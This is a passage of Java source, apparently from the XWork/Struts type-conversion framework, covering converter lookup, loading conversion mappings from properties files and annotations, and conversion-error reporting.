                handleConversionException(context, property, value, target);

                return TypeConverter.NO_CONVERSION_POSSIBLE;
            }
        }

        if (defaultTypeConverter != null) {
            try {
                if (LOG.isDebugEnabled())
                    LOG.debug("falling back to default type converter [" + defaultTypeConverter + "]");
                return defaultTypeConverter.convertValue(context, target, member, property, value, toClass);
            } catch (Exception e) {
                if (LOG.isDebugEnabled())
                    LOG.debug("unable to convert value using type converter [#0]", e, defaultTypeConverter.getClass().getName());
                handleConversionException(context, property, value, target);

                return TypeConverter.NO_CONVERSION_POSSIBLE;
            }
        } else {
            try {
                if (LOG.isDebugEnabled())
                    LOG.debug("falling back to Ognl's default type conversion");
                return super.convertValue(value, toClass);
            } catch (Exception e) {
                if (LOG.isDebugEnabled())
                    LOG.debug("unable to convert value using type converter [#0]", e, super.getClass().getName());
                handleConversionException(context, property, value, target);

                return TypeConverter.NO_CONVERSION_POSSIBLE;
            }
        }
    }

    /**
     * Looks for a TypeConverter in the default mappings.
     *
     * @param className name of the class the TypeConverter must handle
     * @return a TypeConverter to handle the specified class or null if none can be found
     */
    public TypeConverter lookup(String className) {
        if (unknownMappings.contains(className) && !defaultMappings.containsKey(className)) {
            return null;
        }

        TypeConverter result = defaultMappings.get(className);

        //Looks for super classes
        if (result == null) {
            Class clazz = null;

            try {
                clazz = Thread.currentThread().getContextClassLoader().loadClass(className);
            } catch (ClassNotFoundException cnfe) {
                //swallow
            }

            result = lookupSuper(clazz);

            if (result != null) {
                //Register now, the next lookup will be faster
                registerConverter(className, result);
            } else {
                // if it isn't found, never look again (also faster)
                registerConverterNotFound(className);
            }
        }

        return result;
    }

    /**
     * Looks for a TypeConverter in the default mappings.
     *
     * @param clazz the class the TypeConverter must handle
     * @return a TypeConverter to handle the specified class or null if none can be found
     */
    public TypeConverter lookup(Class clazz) {
        return lookup(clazz.getName());
    }

    protected Object getConverter(Class clazz, String property) {
        if (LOG.isDebugEnabled()) {
            LOG.debug("Property: " + property);
            LOG.debug("Class: " + clazz.getName());
        }
        synchronized (clazz) {
            if ((property != null) && !noMapping.contains(clazz)) {
                try {
                    Map<String, Object> mapping = mappings.get(clazz);

                    if (mapping == null) {
                        mapping = buildConverterMapping(clazz);
                    } else {
                        mapping = conditionalReload(clazz, mapping);
                    }

                    Object converter = mapping.get(property);
                    if (LOG.isDebugEnabled() && converter == null) {
                        LOG.debug("converter is null for property " + property + ". Mapping size: " + mapping.size());
                        for (String next : mapping.keySet()) {
                            LOG.debug(next + ":" + mapping.get(next));
                        }
                    }
                    return converter;
                } catch (Throwable t) {
                    noMapping.add(clazz);
                }
            }
        }

        return null;
    }

    protected void handleConversionException(Map<String, Object> context, String property, Object value, Object object) {
        if (context != null && (Boolean.TRUE.equals(context.get(REPORT_CONVERSION_ERRORS)))) {
            String realProperty = property;
            String fullName = (String) context.get(CONVERSION_PROPERTY_FULLNAME);

            if (fullName != null) {
                realProperty = fullName;
            }

            Map<String, Object> conversionErrors = (Map<String, Object>) context.get(ActionContext.CONVERSION_ERRORS);

            if (conversionErrors == null) {
                conversionErrors = new HashMap<String, Object>();
                context.put(ActionContext.CONVERSION_ERRORS, conversionErrors);
            }

            conversionErrors.put(realProperty, value);
        }
    }

    public synchronized void registerConverter(String className, TypeConverter converter) {
        defaultMappings.put(className, converter);
        if (unknownMappings.contains(className)) {
            unknownMappings.remove(className);
        }
    }

    public synchronized void registerConverterNotFound(String className) {
        unknownMappings.add(className);
    }

    private Object[] getClassProperty(Map<String, Object> context) {
        Object lastClass = context.get(LAST_BEAN_CLASS_ACCESSED);
        Object lastProperty = context.get(LAST_BEAN_PROPERTY_ACCESSED);
        return (lastClass != null && lastProperty != null) ? new Object[] {lastClass, lastProperty} : null;
    }

    /**
     * Looks for converter mappings for the specified class and adds it to an existing map.  Only new converters are
     * added.  If a converter is defined on a key that already exists, the converter is ignored.
     *
     * @param mapping an existing map to add new converter mappings to
     * @param clazz   class to look for converter mappings for
     */
    protected void addConverterMapping(Map<String, Object> mapping, Class clazz) {
        try {
            String converterFilename = buildConverterFilename(clazz);
            InputStream is = FileManager.loadFile(converterFilename, clazz);

            if (is != null) {
                if (LOG.isDebugEnabled()) {
                    LOG.debug("processing conversion file [" + converterFilename + "] [class=" + clazz + "]");
                }

                Properties prop = new Properties();
                prop.load(is);

                for (Map.Entry<Object, Object> entry : prop.entrySet()) {
                    String key = (String) entry.getKey();

                    if (mapping.containsKey(key)) {
                        break;
                    }
                    // for keyProperty of Set
                    if (key.startsWith(DefaultObjectTypeDeterminer.KEY_PROPERTY_PREFIX)
                            || key.startsWith(DefaultObjectTypeDeterminer.CREATE_IF_NULL_PREFIX)) {
                        if (LOG.isDebugEnabled()) {
                            LOG.debug("\t" + key + ":" + entry.getValue() + "[treated as String]");
                        }
                        mapping.put(key, entry.getValue());
                    }
                    //for properties of classes
                    else if (!(key.startsWith(DefaultObjectTypeDeterminer.ELEMENT_PREFIX) ||
                            key.startsWith(DefaultObjectTypeDeterminer.KEY_PREFIX) ||
                            key.startsWith(DefaultObjectTypeDeterminer.DEPRECATED_ELEMENT_PREFIX))
                            ) {
                        TypeConverter _typeConverter = createTypeConverter((String) entry.getValue());
                        if (LOG.isDebugEnabled()) {
                            LOG.debug("\t" + key + ":" + entry.getValue() + "[treated as TypeConverter " + _typeConverter + "]");
                        }
                        mapping.put(key, _typeConverter);
                    }
                    //for keys of Maps
                    else if (key.startsWith(DefaultObjectTypeDeterminer.KEY_PREFIX)) {

                        Class converterClass = Thread.currentThread().getContextClassLoader().loadClass((String) entry.getValue());

                        //check if the converter is a type converter if it is one
                        //then just put it in the map as is. Otherwise
                        //put a value in for the type converter of the class
                        if (converterClass.isAssignableFrom(TypeConverter.class)) {
                            TypeConverter _typeConverter = createTypeConverter((String) entry.getValue());
                            if (LOG.isDebugEnabled()) {
                                LOG.debug("\t" + key + ":" + entry.getValue() + "[treated as TypeConverter " + _typeConverter + "]");
                            }
                            mapping.put(key, _typeConverter);
                        } else {
                            if (LOG.isDebugEnabled()) {
                                LOG.debug("\t" + key + ":" + entry.getValue() + "[treated as Class " + converterClass + "]");
                            }
                            mapping.put(key, converterClass);
                        }
                    }
                    //elements(values) of maps / lists
                    else {
                        Class _c = Thread.currentThread().getContextClassLoader().loadClass((String) entry.getValue());
                        if (LOG.isDebugEnabled()) {
                            LOG.debug("\t" + key + ":" + entry.getValue() + "[treated as Class " + _c + "]");
                        }
                        mapping.put(key, _c);
                    }
                }
            }
        } catch (Exception ex) {
            LOG.error("Problem loading properties for " + clazz.getName(), ex);
        }

        // Process annotations
        Annotation[] annotations = clazz.getAnnotations();

        for (Annotation annotation : annotations) {
            if (annotation instanceof Conversion) {
                Conversion conversion = (Conversion) annotation;

                for (TypeConversion tc : conversion.conversions()) {

                    String key = tc.key();

                    if (mapping.containsKey(key)) {
                        break;
                    }
                    if (LOG.isDebugEnabled()) {
                        LOG.debug(key + ":" + key);
                    }

                    if (key != null) {
                        try {
                            if (tc.type() == ConversionType.APPLICATION) {
                                defaultMappings.put(key, createTypeConverter(tc.converter()));
                            } else {
                                if (tc.rule().toString().equals(ConversionRule.KEY_PROPERTY) || tc.rule().toString().equals(ConversionRule.CREATE_IF_NULL)) {
                                    mapping.put(key, tc.value());
                                }
                                //for properties of classes
                                else if (!(tc.rule().toString().equals(ConversionRule.ELEMENT.toString())) ||
                                        tc.rule().toString().equals(ConversionRule.KEY.toString()) ||
                                        tc.rule().toString().equals(ConversionRule.COLLECTION.toString())
                                        ) {
                                    mapping.put(key, createTypeConverter(tc.converter()));


                                }
                                //for keys of Maps
                                else if (tc.rule().toString().equals(ConversionRule.KEY.toString())) {
                                    Class converterClass = Thread.currentThread().getContextClassLoader().loadClass(tc.converter());
                                    if (LOG.isDebugEnabled()) {
                                        LOG.debug("Converter class: " + converterClass);
                                    }
                                    //check if the converter is a type converter if it is one
                                    //then just put it in the map as is. Otherwise
                                    //put a value in for the type converter of the class
                                    if (converterClass.isAssignableFrom(TypeConverter.class)) {
                                        mapping.put(key, createTypeConverter(tc.converter()));
                                    } else {
                                        mapping.put(key, converterClass);
                                        if (LOG.isDebugEnabled()) {
                                            LOG.debug("Object placed in mapping for key "
                                                    + key
                                                    + " is "
                                                    + mapping.get(key));
                                        }

                                    }

                                }
                                //elements(values) of maps / lists
                                else {
                                    mapping.put(key, Thread.currentThread().getContextClassLoader().loadClass(tc.converter()));
                                }
                            }
                        } catch (Exception e) {
                        }
                    }
                }
            }
        }

        Method[] methods = clazz.getMethods();

        for (Method method : methods) {

            annotations = method.getAnnotations();

            for (Annotation annotation : annotations) {
                if (annotation instanceof TypeConversion) {
                    TypeConversion tc = (TypeConversion) annotation;

                    String key = tc.key();
                    if (mapping.containsKey(key)) {
                        break;
                    }
                    // Default to the property name
                    if (key != null && key.length() == 0) {
                        key = AnnotationUtils.resolvePropertyName(method);
                        LOG.debug("key from method name... " + key + " - " + method.getName());
                    }


                    if (LOG.isDebugEnabled()) {
                        LOG.debug(key + ":" + key);
                    }

                    if (key != null) {
                        try {
                            if (tc.type() == ConversionType.APPLICATION) {
                                defaultMappings.put(key, createTypeConverter(tc.converter()));
                            } else {
                                if (tc.rule().toString().equals(ConversionRule.KEY_PROPERTY)) {
                                    mapping.put(key, tc.value());
                                }
                                //for properties of classes
                                else if (!(tc.rule().toString().equals(ConversionRule.ELEMENT.toString())) ||
                                        tc.rule().toString().equals(ConversionRule.KEY.toString()) ||
                                        tc.rule().toString().equals(ConversionRule.COLLECTION.toString())
                                        ) {
                                    mapping.put(key, createTypeConverter(tc.converter()));
                                }
                                //for keys of Maps
                                else if (tc.rule().toString().equals(ConversionRule.KEY.toString())) {
                                    Class converterClass = Thread.currentThread().getContextClassLoader().loadClass(tc.converter());
                                    if (LOG.isDebugEnabled()) {
                                        LOG.debug("Converter class: " + converterClass);
                                    }
                                    //check if the converter is a type converter if it is one
                                    //then just put it in the map as is. Otherwise
                                    //put a value in for the type converter of the class
                                    if (converterClass.isAssignableFrom(TypeConverter.class)) {
                                        mapping.put(key, createTypeConverter(tc.converter()));
                                    } else {
                                        mapping.put(key, converterClass);
                                        if (LOG.isDebugEnabled()) {
                                            LOG.debug("Object placed in mapping for key "
                                                    + key
                                                    + " is "
                                                    + mapping.get(key));
                                        }

                                    }

                                }
                                //elements(values) of maps / lists
                                else {
                                    mapping.put(key, Thread.currentThread().getContextClassLoader().loadClass(tc.converter()));
                                }
                            }
                        } catch (Exception e) {
                        }
                    }
                }
            }
        }
    }

    /**
     * Looks for converter mappings for the specified class, traversing up its class hierarchy and interfaces and adding
     * any additional mappings it may find.  Mappings lower in the hierarchy have priority over those higher in the
     * hierarcy.
     *
     * @param clazz the class to look for converter mappings for
     * @return the converter mappings
     */
    protected Map<String, Object> buildConverterMapping(Class clazz) throws Exception {
        Map<String, Object> mapping = new HashMap<String, Object>();

        // check for conversion mapping associated with super classes and any implemented interfaces
        Class curClazz = clazz;

        while (!curClazz.equals(Object.class)) {
            // add current class' mappings
            addConverterMapping(mapping, curClazz);

            // check interfaces' mappings
            Class[] interfaces = curClazz.getInterfaces();

            for (Class anInterface : interfaces) {
                addConverterMapping(mapping, anInterface);
            }

            curClazz = curClazz.getSuperclass();
        }

        if (mapping.size() > 0) {
            mappings.put(clazz, mapping);
        } else {
            noMapping.add(clazz);
        }

        return mapping;
    }

    private Map<String, Object> conditionalReload(Class clazz, Map<String, Object> oldValues) throws Exception {
        Map<String, Object> mapping = oldValues;

        if (FileManager.isReloadingConfigs()) {
            if (FileManager.fileNeedsReloading(buildConverterFilename(clazz), clazz)) {
                mapping = buildConverterMapping(clazz);
            }
        }

        return mapping;
    }

    TypeConverter createTypeConverter(String className) throws Exception {
        // type converters are used across users
        Object obj = objectFactory.buildBean(className, null);
        if (obj instanceof TypeConverter) {
            return (TypeConverter) obj;

            // For backwards compatibility
        } else if (obj instanceof ognl.TypeConverter) {
            return new XWorkTypeConverterWrapper((ognl.TypeConverter) obj);
        } else {
            throw new IllegalArgumentException("Type converter class " + obj.getClass() + " doesn't implement com.opensymphony.xwork2.conversion.TypeConverter");
        }
    }

    public void loadConversionProperties(String propsName) {
        loadConversionProperties(propsName, false);
    }

    public void loadConversionProperties(String propsName, boolean require) {
        try {
            Iterator<URL> resources = ClassLoaderUtil.getResources(propsName, getClass(), true);
            while (resources.hasNext()) {
                URL url = resources.next();
                Properties props = new Properties();
                props.load(url.openStream());

                if (LOG.isDebugEnabled()) {
                    LOG.debug("processing conversion file [" + propsName + "]");
                }

                for (Object o : props.entrySet()) {
                    Map.Entry entry = (Map.Entry) o;
                    String key = (String) entry.getKey();

                    try {
                        TypeConverter _typeConverter = createTypeConverter((String) entry.getValue());
                        if (LOG.isDebugEnabled()) {
                            LOG.debug("\t" + key + ":" + entry.getValue() + " [treated as TypeConverter " + _typeConverter + "]");
                        }
                        defaultMappings.put(key, _typeConverter);
                    } catch (Exception e) {
                        LOG.error("Conversion registration error", e);
                    }
                }
            }
        } catch (IOException ex) {
            if (require) {
                throw new XWorkException("Cannot load conversion properties file: "+propsName, ex);
            } else {
                LOG.debug("Cannot load conversion properties file: "+propsName, ex);
            }
        }
    }

    /**
     * Recurses through a class' interfaces and class hierarchy looking for a TypeConverter in the default mapping that
     * can handle the specified class.
     *
     * @param clazz the class the TypeConverter must handle
     * @return a TypeConverter to handle the specified class or null if none can be found
     */
    TypeConverter lookupSuper(Class clazz) {
        TypeConverter result = null;

        if (clazz != null) {
            result = defaultMappings.get(clazz.getName());

            if (result == null) {
                // Looks for direct interfaces (depth = 1 )
                Class[] interfaces = clazz.getInterfaces();

                for (Class anInterface : interfaces) {
                    if (defaultMappings.containsKey(anInterface.getName())) {
                        result = (TypeConverter) defaultMappings.get(anInterface.getName());
                        break;
                    }
                }

                if (result == null) {
                    // Looks for the superclass
                    // If 'clazz' is the Object class, an interface, a primitive type or void then clazz.getSuperClass() returns null
                    result = lookupSuper(clazz.getSuperclass());
                }
            }
        }

        return result;
    }


}